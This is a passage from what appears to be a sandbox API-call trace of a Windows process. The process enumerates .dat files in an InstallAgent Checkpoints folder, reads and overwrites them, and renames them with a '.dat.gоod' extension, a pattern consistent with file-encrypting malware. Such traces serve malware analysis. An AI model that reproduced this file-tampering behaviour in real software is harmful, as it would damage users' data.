ftLastAccessTime.dwLowDateTime=0xa3f2837, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa3f2837, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="9WZDNCRD2G0J.dat", cAlternateFileName="9WZDNC~4.DAT")) returned 1 [0217.628] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6c7176, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa6c7176, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa6c7176, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="9WZDNCRDTBJJ.dat", cAlternateFileName="9W346D~1.DAT")) returned 1 [0217.628] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa608680, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa608680, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa608680, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="9WZDNCRDTBVB.dat", cAlternateFileName="9WA7C0~1.DAT")) returned 1 [0217.628] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4fd75b, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa4fd75b, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa4fd75b, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="9WZDNCRFHV4V.dat", cAlternateFileName="9WEE31~1.DAT")) returned 1 [0217.628] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa418a66, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa418a66, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa418a66, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="9WZDNCRFHVFW.dat", cAlternateFileName="9WB9D7~1.DAT")) returned 1 [0217.628] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa43ec73, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa43ec73, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa43ec73, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="9WZDNCRFHVH4.dat", cAlternateFileName="9W15AF~1.DAT")) returned 1 [0217.629] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa81e4ec, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa81e4ec, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa81e4ec, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="9WZDNCRFHVJL.dat", cAlternateFileName="9W71BA~1.DAT")) returned 1 [0217.629] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4b130e, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa4b130e, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa4b130e, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="9WZDNCRFHVN5.dat", cAlternateFileName="9W36B6~1.DAT")) returned 1 [0217.629] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa929428, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa929428, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa929428, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="9WZDNCRFHVQM.dat", cAlternateFileName="9WF232~1.DAT")) returned 1 [0217.629] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7135d5, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa7135d5, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa7135d5, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="9WZDNCRFHWD2.dat", cAlternateFileName="9W2E3D~1.DAT")) returned 1 [0217.629] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3a63cb, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa3a63cb, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa3a63cb, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="9WZDNCRFHWKN.dat", cAlternateFileName="9WZDNC~2.DAT")) returned 1 [0217.629] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6a0f40, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa6a0f40, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa6a0f40, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="9WZDNCRFJ140.dat", cAlternateFileName="9WAA4D~1.DAT")) returned 1 [0217.630] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa86a943, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa86a943, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa86a943, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="9WZDNCRFJ364.dat", cAlternateFileName="9W3A1B~1.DAT")) returned 1 [0217.630] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8dcfd1, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa8dcfd1, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa8dcfd1, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="9WZDNCRFJ3P2.dat", cAlternateFileName="9W8817~1.DAT")) returned 1 [0217.630] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa464eb7, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa464eb7, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa464eb7, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="9WZDNCRFJ3PM.dat", cAlternateFileName="9WA8D8~1.DAT")) returned 1 [0217.630] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa67ad1f, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa67ad1f, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa67ad1f, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="9WZDNCRFJ3PR.dat", cAlternateFileName="9WFE0D~1.DAT")) returned 1 [0217.630] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa903203, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa903203, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa903203, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="9WZDNCRFJ3PT.dat", cAlternateFileName="9W54A4~1.DAT")) returned 1 [0217.630] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa94f64d, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa94f64d, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa94f64d, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="9WZDNCRFJ3Q2.dat", cAlternateFileName="9WABF7~1.DAT")) returned 1 [0217.631] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa62e8ac, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa62e8ac, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa62e8ac, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="9WZDNCRFJ3T6.dat", cAlternateFileName="9W7114~1.DAT")) returned 1 [0217.631] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7abe6c, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa7abe6c, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa7abe6c, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="9WZDNCRFJBBG.dat", cAlternateFileName="9W8A94~1.DAT")) returned 1 [0217.631] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3cc60b, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa3cc60b, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa3cc60b, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="9WZDNCRFJBD8.dat", cAlternateFileName="9WZDNC~3.DAT")) returned 1 [0217.890] SleepEx (dwMilliseconds=0x5, bAlertable=0) returned 0x0 [0218.615] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7abe6c, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa7abe6c, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa7abe6c, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="9WZDNCRFJBH4.dat", cAlternateFileName="9W3EDB~1.DAT")) returned 1 [0218.615] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6da5, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa8b6da5, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa8b6da5, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="9WZDNCRFJBMP.dat", cAlternateFileName="9WFCD7~1.DAT")) returned 1 [0218.615] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6da5, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa8b6da5, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa8b6da5, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="9WZDNCRFJBMP.dat", cAlternateFileName="9WFCD7~1.DAT")) returned 0 [0218.615] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0218.616] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec7d0) returned 1 [0218.616] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec790) returned 1 [0218.616] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGGXW3P8.dat", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGGXW3P8.dat", lpFilePart=0x0) returned 0x51 [0218.616] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec640) returned 1 [0218.616] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGGXW3P8.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblgggxw3p8.dat"), fInfoLevelId=0x0, lpFileInformation=0x394c5c8 | out: lpFileInformation=0x394c5c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa24f074, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa24f074, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa24f074, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1cd)) returned 1 [0218.618] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec600) returned 1 [0218.618] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGGXW3P8.dat", nBufferLength=0x105, lpBuffer=0x207ebfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGGXW3P8.dat", lpFilePart=0x0) returned 0x51 [0218.618] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec4f0) returned 1 [0218.618] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGGXW3P8.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblgggxw3p8.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0218.618] GetFileType (hFile=0x85c) returned 0x1 [0218.618] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec460) returned 1 [0218.618] GetFileType (hFile=0x85c) returned 0x1 [0218.618] GetFileSize (in: hFile=0x85c, lpFileSizeHigh=0x207ec698 | out: lpFileSizeHigh=0x207ec698*=0x0) returned 0x1cd [0218.618] ReadFile (in: hFile=0x85c, lpBuffer=0x394ca80, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x207ec5c8, lpOverlapped=0x0 | out: lpBuffer=0x394ca80*, lpNumberOfBytesRead=0x207ec5c8*=0x1cd, lpOverlapped=0x0) returned 1 [0218.619] CloseHandle (hObject=0x85c) returned 1 [0218.646] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGGXW3P8.dat", nBufferLength=0x105, lpBuffer=0x207ebfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGGXW3P8.dat", lpFilePart=0x0) returned 0x51 [0218.646] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec4f0) returned 1 [0218.646] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGGXW3P8.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblgggxw3p8.dat"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 [0218.813] GetFileType (hFile=0x860) returned 0x1 [0218.813] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec460) returned 1 [0218.813] GetFileType (hFile=0x860) returned 0x1 [0218.814] WriteFile (in: hFile=0x860, lpBuffer=0x36a5390*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x207ec4d8, lpOverlapped=0x0 | out: lpBuffer=0x36a5390*, lpNumberOfBytesWritten=0x207ec4d8*=0x1d0, lpOverlapped=0x0) returned 1 [0218.814] CloseHandle (hObject=0x860) returned 1 [0218.814] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGGXW3P8.dat", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGGXW3P8.dat", lpFilePart=0x0) returned 0x51 [0218.814] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGGXW3P8.dat.gоod", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGGXW3P8.dat.gоod", lpFilePart=0x0) returned 0x56 [0218.815] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec600) returned 1 [0218.815] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGGXW3P8.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblgggxw3p8.dat"), fInfoLevelId=0x0, lpFileInformation=0x207ec6e0 | out: lpFileInformation=0x207ec6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa24f074, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa24f074, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x7ea27187, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1d0)) returned 1 [0218.815] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec5c0) returned 1 [0218.815] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGGXW3P8.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblgggxw3p8.dat"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGGXW3P8.dat.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblgggxw3p8.dat.gоod")) returned 1 [0218.815] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH10PG8.dat", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH10PG8.dat", lpFilePart=0x0) returned 0x51 [0218.815] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec640) returned 1 [0218.815] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH10PG8.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblggh10pg8.dat"), fInfoLevelId=0x0, lpFileInformation=0x36a6668 | out: lpFileInformation=0x36a6668*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5bc240, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa5bc240, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xa5bc240, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x1c2)) returned 1 [0218.816] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec600) returned 1 [0218.816] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH10PG8.dat", nBufferLength=0x105, lpBuffer=0x207ebfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH10PG8.dat", lpFilePart=0x0) returned 0x51 [0218.816] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec4f0) returned 1 [0218.816] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH10PG8.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblggh10pg8.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 [0218.816] GetFileType (hFile=0x860) returned 0x1 [0218.816] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec460) returned 1 [0218.816] GetFileType (hFile=0x860) returned 0x1 [0218.817] GetFileSize (in: hFile=0x860, lpFileSizeHigh=0x207ec698 | out: lpFileSizeHigh=0x207ec698*=0x0) returned 0x1c2 [0218.817] ReadFile (in: hFile=0x860, lpBuffer=0x36a6b18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x207ec5c8, lpOverlapped=0x0 | out: lpBuffer=0x36a6b18*, lpNumberOfBytesRead=0x207ec5c8*=0x1c2, lpOverlapped=0x0) returned 1 [0218.817] CloseHandle (hObject=0x860) returned 1 [0218.850] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH10PG8.dat", nBufferLength=0x105, lpBuffer=0x207ebfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH10PG8.dat", lpFilePart=0x0) returned 0x51 [0218.850] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec4f0) returned 1 [0218.850] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH10PG8.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblggh10pg8.dat"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0219.145] GetFileType (hFile=0x824) returned 0x1 [0219.145] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec460) returned 1 [0219.145] GetFileType (hFile=0x824) returned 0x1 [0219.145] WriteFile (in: hFile=0x824, lpBuffer=0x36522b0*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x207ec4d8, lpOverlapped=0x0 | out: lpBuffer=0x36522b0*, lpNumberOfBytesWritten=0x207ec4d8*=0x1d0, lpOverlapped=0x0) returned 1 [0219.146] CloseHandle (hObject=0x824) returned 1 [0219.149] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH10PG8.dat", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH10PG8.dat", lpFilePart=0x0) returned 0x51 [0219.149] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH10PG8.dat.gоod", nBufferLength=0x105, lpBuffer=0x207ec170, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH10PG8.dat.gоod", lpFilePart=0x0) returned 0x56 [0219.149] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec600) returned 1 [0219.149] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\InstallAgent\\Checkpoints\\9NBLGGH10PG8.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\installagent\\checkpoints\\9nblggh10pg8.dat"), fInfoLevelId=0x0, lpFileInformation=0x207ec6e0 | out: lpFileInformation=0x207ec6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5bc240, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0xa5bc240, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x7ed60daa, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1d0)) returned 1 [0219.149] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec5c0) returned 1 [0219.149] MoveFileW 